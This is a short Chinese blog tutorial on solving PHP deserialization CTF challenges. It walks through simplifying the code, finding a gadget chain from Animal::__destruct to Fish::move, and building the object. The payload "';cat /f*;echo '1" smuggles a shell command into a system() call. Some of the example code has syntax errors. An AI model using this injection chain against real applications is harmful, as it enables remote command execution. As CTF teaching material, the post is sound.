PHP反序列化做题方法

一:基本步骤

1.简化:

把PHP代码复制到编辑器里面,寻找PHP反序列化的魔术方法,然后把不需要的部分删去

2.找链子:

通过以知的魔术方法,寻找到可以利用的点,然后想办法通过对象与方法的调用执行我们可以利用的函数

3.拿到我们的字符串进行传参

二:实例运用:

接下来用一到题来举个例子:

class Animal{

    public $name;

    public function eat(){
        return "eat";
    }

    public function sleep(){
        return "sleep";
    }

    public function __construct(){
        $this->name=new Bird();
    }

    public function __destruct(){      //这里可以看到一个析构方法,并用move方法
       $this->name->move();            
    }                                   

}

class Bird{

    public function move(){
        return "wings";
    }

}

class Fish{

    public $dist="ocean";

    public function move(){
        return system("echo 'swim in $this->dist'");   
//可以发这个类有move方法所以这里似乎可以 ,然后再看看其他地方发现暂时没有可以利用的地方
} }

所以我们第一步就把他简化出来

这里我们把不需要的类和方法去掉

class Animal{

    public $name;
    public function __destruct(){
       $this->name->move();
    }

}

class Fish{

    public $dist="ocean";

    public function move(){
        return system("echo 'swim in $this->dist'");
    }
}

 简化之后得到如上代码

第二步找链子:

class Animal{

    public $name;

   

    public function __destruct(){      //这里可以看到一个析构方法
       $this->name->move();            //然后这里调用了这个类的属性name然后执行move方法
    }                                  //所以找我们的move方法    

}

class Fish{

    public $dist="ocean";

    public function move(){
        return system("echo 'swim in $this->dist'");   //可以发这个类有move方法所以想办法写出链子执行访问这里
    }
}
//然后我们写链子
$a = new class Animal();
$f = new class Fish ();
//然后想让$a访问到move这里
//$f->dist="';cat ../f*";这里的$f后面写错误了,看上面system地方这里进行输出后会少一个单引号闭合
$f->dist="';cat /f*;echo '1" //这里后面再用一个echo输出'1进行闭合然后就可以执行命令了

$a->name=$f;//通过将$f赋值给name然后就可以通过$a 调用name属性时转跳到FISH类里面来调用move方法,这里就可以通过反序列化来执行命令了


需要注意:

要看执行方法输入的结构,观察是否闭合等,然后再来写我们的参数命令

 

 

 有错误的地方还求大佬指点

 

posted @ 2022-11-01 09:59  小熊猫爱bamboo  阅读(64)  评论(0编辑  收藏  举报